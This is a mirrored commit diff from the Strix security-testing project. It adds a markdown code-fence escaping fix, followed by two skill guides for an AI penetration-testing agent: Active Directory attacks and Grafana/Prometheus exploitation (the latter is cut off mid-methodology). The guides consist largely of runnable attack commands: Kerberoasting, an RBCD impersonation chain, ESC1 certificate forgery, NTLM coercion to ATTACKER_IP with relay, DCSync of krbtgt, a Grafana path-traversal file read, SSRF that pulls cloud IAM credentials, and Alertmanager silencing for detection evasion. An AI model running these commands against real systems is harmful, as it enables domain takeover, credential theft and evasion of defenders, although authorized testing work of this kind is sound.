mirror of
https://github.com/usestrix/strix.git
synced 2026-08-18 17:52:32 +02:00
Compare commits
7
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1ee4d0ae45 | ||
|
|
46805e6fe9 | ||
|
|
ad27f0c67e | ||
|
|
f967e6017b | ||
|
|
f9890a672d | ||
|
|
599f7c7526 | ||
|
|
8cd9abba21 |
+26
-4
@@ -6,6 +6,7 @@ import csv
|
||||
import io
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
import tempfile
|
||||
from datetime import UTC, datetime
|
||||
from pathlib import Path
|
||||
@@ -18,6 +19,21 @@ logger = logging.getLogger(__name__)
|
||||
|
||||
_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
|
||||
|
||||
_BACKTICK_RUN = re.compile(r"`+")
|
||||
|
||||
|
||||
def _safe_fence(content: str) -> str:
|
||||
"""Return a backtick fence that ``content`` cannot break out of.
|
||||
|
||||
Per CommonMark a fenced code block is closed only by a run of backticks at
|
||||
least as long as the opening fence. LLM-authored, attacker-influenced values
|
||||
(PoC scripts, code snippets) may contain their own ``` runs, so we open with
|
||||
a fence one backtick longer than the longest run inside ``content`` (never
|
||||
fewer than three). Everything in ``content`` then renders verbatim.
|
||||
"""
|
||||
longest = max((len(m.group()) for m in _BACKTICK_RUN.finditer(content)), default=0)
|
||||
return "`" * max(3, longest + 1)
|
||||
|
||||
|
||||
def read_run_record(run_dir: Path) -> dict[str, Any]:
|
||||
path = run_record_path(run_dir)
|
||||
@@ -171,9 +187,11 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
|
||||
lines.append(str(report["poc_description"]))
|
||||
lines.append("")
|
||||
if report.get("poc_script_code"):
|
||||
lines.append("```")
|
||||
lines.append(str(report["poc_script_code"]))
|
||||
lines.append("```")
|
||||
code = str(report["poc_script_code"])
|
||||
fence = _safe_fence(code)
|
||||
lines.append(fence)
|
||||
lines.append(code)
|
||||
lines.append(fence)
|
||||
lines.append("")
|
||||
|
||||
if report.get("code_locations"):
|
||||
@@ -190,7 +208,11 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
|
||||
if loc.get("label"):
|
||||
lines.append(f" {loc['label']}")
|
||||
if loc.get("snippet"):
|
||||
lines.append(f" ```\n {loc['snippet']}\n ```")
|
||||
snippet = str(loc["snippet"])
|
||||
fence = _safe_fence(snippet)
|
||||
lines.append(f" {fence}")
|
||||
lines.extend(f" {ln}" for ln in snippet.splitlines())
|
||||
lines.append(f" {fence}")
|
||||
if loc.get("fix_before") or loc.get("fix_after"):
|
||||
lines.append("\n **Suggested Fix:**")
|
||||
lines.append("```diff")
|
||||
|
||||
@@ -0,0 +1,233 @@
|
||||
---
|
||||
name: active_directory
|
||||
description: Active Directory / Kerberos domain testing covering roasting, delegation abuse, AD CS (ESC1-ESC17), NTLM coercion+relay, DACL abuse, and credential dumping
|
||||
---
|
||||
|
||||
# Active Directory
|
||||
|
||||
Active Directory compromise usually comes from misconfiguration, not memory-corruption bugs: a roastable service account, a delegation flag, a vulnerable certificate template, or an over-permissive ACL turns a single low-priv domain user into Domain Admin. Almost every step needs valid domain credentials (or a foothold to coerce them), and almost every path ends at DCSync or a forged ticket. Test the identity layer — Kerberos, LDAP, NTLM, SMB, AD CS — not the marketing website in front of it.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Core services (per domain controller)**
|
||||
- Kerberos (88/tcp+udp), LDAP/LDAPS (389/636), Global Catalog (3268/3269)
|
||||
- SMB (445), RPC/DCE endpoint mapper (135) + high dynamic ports, NetBIOS (137-139)
|
||||
- DNS (53) — AD-integrated, often allows dynamic updates (ADIDNS)
|
||||
- WinRM (5985/5986), RDP (3389), MSSQL (1433) on member servers
|
||||
- AD CS: Certificate Authority + web enrollment (`/certsrv`, `/ADPolicyProvider_CEP_*`, ES/CES)
|
||||
|
||||
**Principals & objects**
|
||||
- Users, computers (`$` accounts), gMSA/sMSA, groups, GPOs, OUs, trusts
|
||||
- `servicePrincipalName`, `userAccountControl` flags, `msDS-AllowedToDelegateTo`, `msDS-AllowedToActOnBehalfOfOtherIdentity`, `msDS-KeyCredentialLink`
|
||||
- DACLs on objects (GenericAll/GenericWrite/WriteDacl/WriteOwner/AddSelf)
|
||||
|
||||
**Trust boundaries**
|
||||
- Intra-forest (parent/child), inter-forest, external, SID history
|
||||
- `MachineAccountQuota` (default 10 → any user can join computer accounts)
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
**Anonymous / pre-auth (no creds)**
|
||||
```
|
||||
# Domain + naming context from LDAP rootDSE
|
||||
nmap -Pn -p 389 --script ldap-rootdse <DC>
|
||||
# SMB null session / signing / OS
|
||||
nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" <DC>
|
||||
enum4linux-ng -A <DC>
|
||||
# Username-less user enum via Kerberos pre-auth
|
||||
kerbrute userenum -d <DOMAIN> --dc <DC> users.txt
|
||||
```
|
||||
|
||||
**Authenticated enumeration (any valid user)**
|
||||
```
|
||||
nxc ldap <DC> -u <USER> -p <PASS> # confirm creds + domain info
|
||||
nxc smb <SUBNET> -u <USER> -p <PASS> --shares # readable/writable shares
|
||||
nxc ldap <DC> -u <USER> -p <PASS> --users --groups --pass-pol
|
||||
ldapdomaindump ldap://<DC> -u '<DOMAIN>\<USER>' -p <PASS>
|
||||
```
|
||||
|
||||
**BloodHound graph (the single most valuable step)**
|
||||
```
|
||||
bloodhound-ce-python -d <DOMAIN> -u <USER> -p <PASS> -c All -ns <DC_IP> --zip
|
||||
# or, remote SharpHound-equivalent collector:
|
||||
nxc ldap <DC> -u <USER> -p <PASS> --bloodhound --collection-method All --dns-server <DC_IP>
|
||||
```
|
||||
Import into BloodHound (CE) and run the built-in "Shortest paths to Domain Admins" / "Owned principals" queries before touching anything else.
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Kerberos Roasting
|
||||
|
||||
**Kerberoasting** — any authenticated user can request a service ticket (RC4/`$krb5tgs$23$`) for any account with an SPN and crack it offline. Human-set service-account passwords are the target; machine accounts are usually uncrackable.
|
||||
```
|
||||
nxc ldap <DC> -u <USER> -p <PASS> --kerberoasting kerb.txt
|
||||
# or impacket
|
||||
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -outputfile kerb.txt
|
||||
hashcat -m 13100 kerb.txt wordlist.txt
|
||||
```
|
||||
|
||||
**AS-REP Roasting** — accounts with `DONT_REQ_PREAUTH` yield a crackable `$krb5asrep$23$` blob with *no* creds needed if the username is known.
|
||||
```
|
||||
GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
|
||||
hashcat -m 18200 asrep.txt wordlist.txt
|
||||
```
|
||||
|
||||
**Targeted Kerberoasting** — with GenericAll/GenericWrite over a user, add an SPN, roast, then remove it.
|
||||
|
||||
### Delegation Abuse
|
||||
|
||||
- **Unconstrained** (`TRUSTED_FOR_DELEGATION`) — compromise the host, coerce a DC/DA to auth to it (PrinterBug/PetitPotam), capture their TGT from LSA, reuse it. Straight to DCSync.
|
||||
- **Constrained** (`msDS-AllowedToDelegateTo`) — S4U2Self+S4U2Proxy to impersonate any user to the listed SPN; swap the SPN service class (`cifs`/`host`/`ldap`) for broader access.
|
||||
- **RBCD** (`msDS-AllowedToActOnBehalfOfOtherIdentity`) — with write access over a computer object + `MachineAccountQuota>0`, create a fake computer, set RBCD, S4U to get an admin ticket for that host.
|
||||
```
|
||||
# RBCD chain
|
||||
addcomputer.py -computer-name FAKE$ -computer-pass P@ss <DOMAIN>/<USER>:<PASS>
|
||||
rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write <DOMAIN>/<USER>:<PASS>
|
||||
getST.py -spn cifs/target.<DOMAIN> -impersonate Administrator <DOMAIN>/FAKE$:P@ss
|
||||
```
|
||||
|
||||
### AD Certificate Services (ESC1-ESC17)
|
||||
|
||||
AD CS is the highest-yield modern path — one misconfigured template promotes a low-priv user to DA and survives password resets. Enumerate first, everything else follows:
|
||||
```
|
||||
certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout
|
||||
```
|
||||
- **ESC1** — template allows enrollee-supplied SAN + client-auth EKU → request a cert as `administrator`:
|
||||
```
|
||||
certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA> -template <T> -upn administrator@<DOMAIN>
|
||||
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # → NT hash / TGT
|
||||
```
|
||||
- **ESC8** — NTLM relay to the CA web-enrollment endpoint (coerce a DC, relay to `/certsrv`) → DC certificate → DCSync.
|
||||
- **ESC others** — ESC2/3 (any-purpose/enrollment-agent), ESC4 (writable template DACL → make it ESC1), ESC6 (`EDITF_ATTRIBUTESUBJECTALTNAME2` on the CA), ESC7 (CA officer rights), ESC9/10 (weak cert mapping), ESC11 (RPC relay), ESC13 (issuance-policy→group), ESC15 (app-policy on v1 templates). `certipy find -vulnerable` flags each.
|
||||
|
||||
### NTLM Coercion & Relay
|
||||
|
||||
Force a privileged machine to authenticate to you, then relay that NTLM auth to a service that doesn't enforce signing/EPA (LDAP, AD CS, SMB).
|
||||
```
|
||||
# 1. Start the relay (LDAP → RBCD, or AD CS → cert)
|
||||
ntlmrelayx.py -t ldap://<DC> --delegate-access --no-dump
|
||||
ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
||||
# 2. Coerce a target to authenticate
|
||||
coercer coerce -u <USER> -p <PASS> -t <TARGET> -l <ATTACKER_IP>
|
||||
PetitPotam.py -u <USER> -p <PASS> <ATTACKER_IP> <DC> # MS-EFSR
|
||||
printerbug.py <DOMAIN>/<USER>:<PASS>@<TARGET> <ATTACKER_IP> # MS-RPRN
|
||||
```
|
||||
LLMNR/NBT-NS/mDNS poisoning with Responder captures NetNTLMv2 hashes on the broadcast segment for offline cracking or relay.
|
||||
|
||||
### DACL / Object Abuse
|
||||
|
||||
From BloodHound edges:
|
||||
- **GenericAll/GenericWrite** on a user → targeted Kerberoast or Shadow Credentials (`msDS-KeyCredentialLink` via Certipy/pywhisker → PKINIT → NT hash).
|
||||
- **WriteDacl/WriteOwner** → grant yourself GenericAll, then DCSync rights on the domain object.
|
||||
- **ForceChangePassword** → reset a target's password.
|
||||
- **AddMember** on a privileged group → self-add.
|
||||
- **GPO edit rights** → push an immediate scheduled task / local admin to linked OUs.
|
||||
```
|
||||
# Shadow Credentials (no password reset needed, stealthier)
|
||||
certipy shadow auto -u <USER>@<DOMAIN> -p <PASS> -account <TARGET> -dc-ip <DC_IP>
|
||||
# bloodyAD for generic DACL edits
|
||||
bloodyAD -u <USER> -p <PASS> -d <DOMAIN> --host <DC> add genericAll <TARGET_DN> <USER>
|
||||
```
|
||||
|
||||
### Credential Access & Domain Dominance
|
||||
|
||||
- **DCSync** (with replication rights — `DS-Replication-Get-Changes*`) dumps any/all hashes incl. `krbtgt`:
|
||||
```
|
||||
secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC> -just-dc-user krbtgt
|
||||
nxc smb <DC> -u <USER> -p <PASS> --ntds # full NTDS.dit
|
||||
```
|
||||
- **Golden ticket** (`krbtgt` hash) / **Silver ticket** (service acct hash) / **Diamond ticket** — forge TGTs/STs for persistence.
|
||||
- **Pass-the-Hash / OverPass-the-Hash / Pass-the-Ticket** — reuse NT hashes or Kerberos tickets without the plaintext.
|
||||
- **LAPS / gMSA** — readable `ms-Mcs-AdmPwd` or `msDS-ManagedPassword` grants local admin / service creds.
|
||||
|
||||
### Known unauthenticated CVEs (patch-dependent)
|
||||
|
||||
- **ZeroLogon** (CVE-2020-1472) — resets the DC machine account to null, instant DA on unpatched DCs.
|
||||
- **noPac** (CVE-2021-42278/42287) — sAMAccountName spoofing → impersonate DC.
|
||||
- **PrintNightmare** (CVE-2021-1675/34527), **PetitPotam** (unauth MS-EFSR pre-KB5005413).
|
||||
Confirm with a version/patch check before firing — these are destructive.
|
||||
|
||||
## Advanced Techniques
|
||||
|
||||
- **UnPAC-the-hash** — recover a user's NT hash from a PKINIT/cert auth (Certipy `auth` prints it).
|
||||
- **sAMAccountName spoofing** chain (noPac) when `MachineAccountQuota>0` and DCs unpatched.
|
||||
- **SID history injection** across trusts for cross-domain/forest escalation.
|
||||
- **ADIDNS poisoning** — add wildcard/records via authenticated LDAP to intercept name resolution.
|
||||
- **Timeroast** — roast computer-account passwords via NTP if the DC exposes MS-SNTP.
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Foothold check** — Confirm creds work (`nxc ldap/smb`) and note privileges; note `MachineAccountQuota` and password policy.
|
||||
2. **BloodHound first** — Collect + graph before manual work; mark the foothold principal as owned and read the DA paths.
|
||||
3. **Low-noise credential harvest** — AS-REP roast (no auth), Kerberoast, readable LAPS/gMSA, GPP passwords in SYSVOL.
|
||||
4. **AD CS sweep** — `certipy find -vulnerable`; it is often the shortest path and independent of the BloodHound graph.
|
||||
5. **DACL edges** — Walk each BloodHound edge from owned → high value; prefer Shadow Credentials over password resets (reversible, quieter).
|
||||
6. **Delegation** — Enumerate unconstrained/constrained/RBCD; chain with coercion where a privileged auth is needed.
|
||||
7. **Coercion + relay** — Only where signing/EPA is off; identify the relay target (LDAP/AD CS) first.
|
||||
8. **Prove domain dominance** — DCSync `krbtgt` / a target user, then stop. Do not persist (golden ticket) on client engagements unless in scope.
|
||||
|
||||
## Validation
|
||||
|
||||
1. Show the exact misconfiguration (SPN, `userAccountControl` flag, template flags, ACE, missing patch) with the enumerating tool's raw output.
|
||||
2. Demonstrate the privilege gained — a cracked service-account password, an issued certificate authenticating as a privileged user, or an NT hash from DCSync.
|
||||
3. Provide the full chain: owned principal → edge/misconfig → escalation step → resulting access, with commands and evidence at each hop.
|
||||
4. Tie the impact to a concrete identity (e.g. "user `svc-sql` → Domain Admins") rather than a generic "AD is misconfigured".
|
||||
5. For coercion/relay, capture both the coerced authentication and the relayed action succeeding.
|
||||
|
||||
## False Positives
|
||||
|
||||
- Kerberoastable SPN on a **machine account** — password is 120-char random, effectively uncrackable; not a finding on its own.
|
||||
- `certipy find` lists a template as ESC-vulnerable but enrollment rights exclude your principal (check the `Enrollment Rights` / `Requires Manager Approval` fields).
|
||||
- Delegation flags present but the account is disabled or the target SPN is unreachable.
|
||||
- Relay target enforces SMB/LDAP signing or channel binding (EPA) — the relay will fail; not exploitable.
|
||||
- DCs fully patched — ZeroLogon/noPac/PetitPotam checks report "not vulnerable".
|
||||
- "Writable" share that only exposes a redirected/quarantined path with no useful content.
|
||||
|
||||
## Impact
|
||||
|
||||
- Full domain (and often forest) compromise: read/modify all objects, all credentials, all data.
|
||||
- Persistent, patch-surviving access via golden tickets, forged certificates, or SID history.
|
||||
- Lateral movement to every domain-joined host (file servers, databases, hypervisors).
|
||||
- Ransomware blast radius — DA is the standard pivot for domain-wide deployment.
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. BloodHound before brute force — the graph turns hours of guessing into a named path; always mark owned nodes.
|
||||
2. Prefer AS-REP roasting and `certipy find` early — both are quiet and one needs no creds.
|
||||
3. Shadow Credentials > password reset when you have write access: reversible, doesn't lock out the account, no plaintext needed.
|
||||
4. Fix clock skew before Kerberos work: `sudo ntpdate <DC>` (or `faketime`) — `KRB_AP_ERR_SKEW` kills ticket ops.
|
||||
5. Use FQDNs and set `/etc/resolv.conf` to the DC (or `--dns-server`); Kerberos and LDAP referrals break on bare IPs.
|
||||
6. `nxc` (NetExec) is the CrackMapExec successor — CME is unmaintained; use `nxc` and its `--gen-relay-list`, `--bloodhound`, `-M` modules.
|
||||
7. Pair with `nmap` (service/port discovery) and `authentication_jwt` skills where the domain fronts web SSO (ADFS/SAML).
|
||||
|
||||
## Tooling
|
||||
|
||||
**None of the AD tools below ship in the Strix sandbox by default** (the image is Kali-rolling but installs only web-focused tooling). Install what the task needs — the sandbox has `pipx`, `pip`, `go`, `git`, and Kali's apt repos. AD testing also requires **network reachability to the target DC/subnet**, which the default web-target sandbox usually lacks; confirm connectivity first.
|
||||
|
||||
```
|
||||
# Python identity toolkit (impacket = GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd)
|
||||
pipx install impacket
|
||||
pipx install netexec # nxc — CME successor: ldap/smb/winrm enum, roasting, bloodhound, ntds
|
||||
pipx install certipy-ad # AD CS enum + ESC1-ESC17 abuse, shadow credentials
|
||||
pipx install bloodhound-ce # bloodhound-ce-python collector (BloodHound CE ingestor)
|
||||
pipx install coercer # multi-protocol coercion (MS-EFSR/RPRN/DFSNM/FSRVP)
|
||||
pipx install bloodyAD # DACL / LDAP object edits over LDAP
|
||||
pipx install ldapdomaindump # LDAP dumper (bloodhound.py author)
|
||||
go install github.com/ropnop/kerbrute@latest # kerbrute (Go) — user enum / pre-auth brute
|
||||
|
||||
# Kali apt packages
|
||||
sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john
|
||||
```
|
||||
|
||||
- **NetExec (`nxc`)** — swiss-army enum/exec across smb/ldap/winrm/mssql; use for creds validation, share hunting, `--kerberoasting`, `--bloodhound`, `--ntds`.
|
||||
- **impacket** — the canonical scriptable attack primitives (roasting, S4U, relay, secretsdump, ticket forging).
|
||||
- **Certipy** — AD CS: `find -vulnerable`, `req`, `auth`, `shadow`, relay; covers the full ESC1-ESC17 set.
|
||||
- **BloodHound CE + collector** — attack-path graphing; the first thing to run with any valid credential.
|
||||
- **Responder / ntlmrelayx / Coercer / PetitPotam** — the poisoning→coercion→relay chain (needs L2 access or a coercible target).
|
||||
- **hashcat / john** — offline cracking of roasted `$krb5tgs$`/`$krb5asrep$` blobs (modes `13100` / `18200`).
|
||||
|
||||
Humans often use GUI BloodHound and Windows-side C# tooling (SharpHound, Rubeus, Certify, PowerView); in-sandbox prefer the Python/Linux equivalents above (`bloodhound-ce-python`, impacket, Certipy, `nxc`).
|
||||
|
||||
## Summary
|
||||
|
||||
AD compromise is a graph problem: start from a valid credential, map paths with BloodHound, and chain misconfigurations — roastable accounts, delegation flags, vulnerable certificate templates, coercion+relay, and permissive DACLs — until you reach DCSync or a forged ticket. The identity plane (Kerberos/LDAP/NTLM/SMB/AD CS), not the perimeter, is where domains fall.
|
||||
@@ -0,0 +1,189 @@
|
||||
---
|
||||
name: grafana_prometheus
|
||||
description: Grafana, Prometheus, Alertmanager and exporter security testing — turning exposed observability into SSRF, credential theft, RCE, and lateral movement into the internal network
|
||||
---
|
||||
|
||||
# Grafana & Prometheus (Observability Stack)
|
||||
|
||||
Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the **entry point**: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Grafana** (default `:3000`)
|
||||
- Web UI + REST API (`/api/*`), login, org/user management, snapshots
|
||||
- Data sources: stored connection details + credentials for Prometheus, Loki, Tempo, MySQL/Postgres, Elasticsearch, InfluxDB, CloudWatch, Azure Monitor, etc.
|
||||
- Data source **proxy** (`/api/datasources/proxy/...`, `/api/ds/query`) — server-side HTTP client → SSRF primitive
|
||||
- Plugins (incl. Image Renderer, Infinity) — extra SSRF/RCE surface
|
||||
- Alerting → contact points/webhooks (outbound HTTP, another SSRF vector)
|
||||
|
||||
**Prometheus** (default `:9090`)
|
||||
- Query API (`/api/v1/query`, `/graph`), config/target/status endpoints, federation, admin/lifecycle API
|
||||
|
||||
**Alertmanager** (default `:9093`)
|
||||
- Alert/silence API (`/api/v2/*`), config with receiver credentials
|
||||
|
||||
**Exporters / adjacent** — node_exporter (`:9100`), cAdvisor/kubelet (`:4194`/`:10250`), kube-state-metrics (`:8080`), Pushgateway (`:9091`), Loki (`:3100`), Tempo, Jaeger UI (`:16686`), Thanos/Cortex/Mimir/VictoriaMetrics
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
**Fingerprint & version** (version drives which CVEs apply)
|
||||
```
|
||||
GET /api/health # Grafana: {"version":"...","commit":"..."}
|
||||
GET /api/frontend/settings # buildInfo, enabled auth, datasource types
|
||||
GET /login # Grafana login page / footer version
|
||||
GET /api/v1/status/buildinfo # Prometheus version
|
||||
GET /metrics # any exporter → prometheus/node/go_* series
|
||||
```
|
||||
|
||||
**Auth posture — always test unauthenticated first**
|
||||
```
|
||||
GET /api/datasources # Grafana: 200 = anon/viewer has admin-ish read
|
||||
GET /?orgId=1 # anonymous access enabled? lands on dashboards
|
||||
GET /api/v1/targets # Prometheus: 200 = no auth
|
||||
GET /api/v2/status # Alertmanager: 200 = no auth
|
||||
```
|
||||
|
||||
**Credential entry points**
|
||||
- Grafana default creds `admin:admin` (the first-login change prompt has a **Skip** button — ~1 in 5 internet-facing instances still accept it)
|
||||
- Anonymous org access (`auth.anonymous`), open sign-up, guest/viewer roles
|
||||
- Leaked Grafana API keys / service account tokens (`Authorization: Bearer glsa_...` / `eyJ...`) in JS bundles, git, CI logs
|
||||
|
||||
## Key Vulnerabilities & CVEs
|
||||
|
||||
### CVE-2021-43798 — Grafana pre-auth path traversal (arbitrary file read)
|
||||
Grafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, **no auth required**. Every install ships pre-installed plugins, so the path always exists.
|
||||
```
|
||||
curl --path-as-is 'http://host:3000/public/plugins/mysql/../../../../../../../../etc/passwd'
|
||||
# other plugin ids that always exist: prometheus, graph, text, alertlist, table-old
|
||||
```
|
||||
High-value reads:
|
||||
- `/etc/grafana/grafana.ini` and `conf/defaults.ini` → `secret_key`, admin password, SMTP/LDAP creds
|
||||
- `/var/lib/grafana/grafana.db` (SQLite) → `data_source.secure_json_data` (AES-encrypted with `secret_key` → decrypt to recover backend passwords/tokens), session tokens, API key hashes
|
||||
- `/proc/self/environ`, cloud credential files (`~/.aws/credentials`, k8s SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`)
|
||||
|
||||
### CVE-2024-9264 — Grafana SQL Expressions RCE + LFI (DuckDB)
|
||||
Grafana **v11.0.0–11.2.x** (10.x not affected). The experimental SQL Expressions feature passes user input to the `duckdb` CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable **only if the `duckdb` binary is in Grafana's `$PATH`** (not shipped by default). Any user with **Viewer or higher** can exploit. CVSS 9.4.
|
||||
- Probe: is `duckdb` present? Try the SQL Expressions query path; LFI via `read_csv`/`read_blob`-style functions, command injection via DuckDB's shell/`install`/`load` extension mechanics.
|
||||
- Mitigation you'll see: remove `duckdb` from PATH.
|
||||
|
||||
### CVE-2025-4123 — Grafana open redirect + stored XSS → SSRF chain
|
||||
Double-encoded traversal (`..%2f`) into the client path/`/redirect` forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the **Image Renderer** plugin is present, escalate to full-read SSRF:
|
||||
```
|
||||
POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
```
|
||||
No creds needed when anonymous access is on (common in demo/lab).
|
||||
|
||||
### CVE-2021-39226 / CVE-2024-1313 — Grafana snapshot auth bypass
|
||||
Unauthenticated view (and, with `public_mode`, delete) of the lowest-key snapshot via `/api/snapshots/:key` and `/dashboard/snapshot/:key`; CVE-2024-1313 lets a user in a *different org* delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values.
|
||||
|
||||
### Prometheus / Alertmanager — exposure is the vuln (no auth by default)
|
||||
Prometheus and Alertmanager ship with **no authentication**; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below).
|
||||
|
||||
## Pivoting: Observability → Deeper Compromise
|
||||
|
||||
This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint.
|
||||
|
||||
### 1. Grafana data-source proxy → full-read SSRF (internal net + cloud metadata)
|
||||
Grafana OSS ships a **no-op URL validator** and an **empty `data_source_proxy_whitelist`** (empty = allow all). The proxy resolves the proxied path against the **selected data source's configured base URL**, so to reach an arbitrary host you must first create (or edit) a data source whose URL is the internal/metadata target — this needs data-source write permission (Editor/Admin, or any role granted `datasources:create`/`:write`). Reusing an ordinary Prometheus data-source id and appending a metadata path just hits Prometheus, not the metadata service — do not report that as SSRF. Once a data source points at the target, the proxy issues the request server-side and returns the **full response body**.
|
||||
```
|
||||
# Step 1: create/edit a data source with an attacker-chosen base URL, e.g.
|
||||
POST /api/datasources {"name":"x","type":"prometheus","access":"proxy",
|
||||
"url":"http://169.254.169.254"} # returns the new <id>
|
||||
# Step 2: relay through THAT data source's id (path appended to its base URL):
|
||||
GET /api/datasources/proxy/<id>/latest/meta-data/iam/security-credentials/<role> # AWS IMDSv1
|
||||
# GCP: base url http://metadata.google.internal + header Metadata-Flavor: Google
|
||||
# → /computeMetadata/v1/instance/service-accounts/default/token
|
||||
# Internal APIs, k8s API server, admin panels, other cloud services (one DS per host)
|
||||
```
|
||||
Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the **alerting contact-point/webhook** (attacker-controlled outbound URL) and plugin SSRFs (e.g. Infinity CVE-2025-8341) as independent vectors. The **Image Renderer** is an SSRF vector too, but not via an arbitrary-URL proxy: it renders Grafana dashboard/panel render routes (`/render/d-solo/...`), so the SSRF arises when a render request is coerced to fetch an internal URL (e.g. chained with CVE-2025-4123), not from a `?url=` parameter.
|
||||
|
||||
### 2. Grafana admin → harvest every backend credential
|
||||
Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798):
|
||||
```
|
||||
GET /api/datasources # host, port, db, user for 5–15 backends
|
||||
GET /api/admin/settings # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime)
|
||||
```
|
||||
Grafana stores backend passwords/tokens encrypted (`secureJsonData`) — the API won't echo them, but you can (a) use the data source proxy to **query the backend directly through Grafana** (no plaintext needed), or (b) decrypt `grafana.db` `secure_json_data` with the leaked `secret_key` (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system.
|
||||
|
||||
### 3. Prometheus config/targets → leaked scrape credentials + inventory
|
||||
```
|
||||
GET /api/v1/status/config # loaded prometheus.yml
|
||||
GET /api/v1/targets # every scrape target + discovery metadata labels
|
||||
```
|
||||
Prometheus renders secret-typed fields (`basic_auth.password`, `authorization.credentials`, bearer tokens, OAuth client secrets — including inside `remote_write`/`remote_read`) as `<secret>` in the config response, so do **not** report those as leaked unless the actual value is shown. What genuinely leaks: **usernames** (`basic_auth.username`), and — critically — **credentials embedded in target/endpoint URLs** (`https://user:pass@host/...`), which are *not* masked. `remote_write`/`remote_read` blocks still reveal internal backend endpoints (Grafana Cloud/Cortex/Mimir/Thanos hosts) and usernames even with secrets redacted. `kubernetes_sd_configs` and cloud SD expose internal DNS and can surface creds via URL fields. Target lists + `__meta_*`/`__address__` labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs).
|
||||
|
||||
### 4. PromQL / metrics → internal topology, versions → known-CVE targeting
|
||||
Metrics are a recon goldmine. Query without auth:
|
||||
```
|
||||
GET /api/v1/query?query=up # every monitored service (host:port)
|
||||
GET /api/v1/query?query=node_uname_info # kernel/OS/host
|
||||
GET /api/v1/query?query=node_dmi_info # cloud provider / hardware
|
||||
GET /api/v1/query?query=node_network_info # interfaces, internal IPs/MACs
|
||||
GET /api/v1/query?query=kube_pod_info # pods, namespaces, node IPs (KSM)
|
||||
GET /api/v1/query?query=kube_node_info # node hostnames, kubelet/kubeproxy versions
|
||||
GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions
|
||||
GET /api/v1/label/__name__/values # enumerate all metric names → app inventory
|
||||
GET /federate?match[]={__name__=~".%2b"} # bulk-exfil series via federation
|
||||
```
|
||||
Pivot: exact versions (`*_build_info`, `kube_node_info`) → map to CVEs and attack the vulnerable components; `up`/`kube_pod_info` → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout.
|
||||
|
||||
### 5. Alertmanager → credential theft, SSRF, and alert suppression (anti-forensics)
|
||||
```
|
||||
GET /api/v2/status # config (receiver creds often masked, structure/routes leak)
|
||||
POST /api/v2/silences # unauth in default deploys → silence ALL alerts
|
||||
```
|
||||
- Receiver config (`alertmanager.yml`) holds **plaintext** Slack webhook URLs, PagerDuty routing keys, SMTP passwords, OpsGenie/VictorOps keys — steal via file read (CVE-2021-43798 style) or config access; reuse to spoof alerts / social-engineer on-call.
|
||||
- Webhook receivers = SSRF: if you can influence the receiver URL, point it at internal endpoints.
|
||||
- Silence abuse: `POST /api/v2/silences` with matcher `alertname=~".+"` for 30d suppresses security/ops alerting while you operate — call this out as a **detection-evasion** impact.
|
||||
|
||||
### 6. Logs/traces backends (Loki, Tempo, Jaeger) → secrets in transit
|
||||
Exposed Loki (`/loki/api/v1/query_range`), Tempo, and Jaeger UI (`:16686`) frequently contain **request bodies, headers, tokens, session cookies, SQL, and stack traces** captured from real traffic. Query them for `authorization`, `password`, `token`, `set-cookie`, PII. A single logged bearer token or session cookie is a direct account/service takeover.
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Discover** stack ports/services (`:3000/:9090/:9093/:9100/:3100/:16686`, `/metrics`, `/api/health`).
|
||||
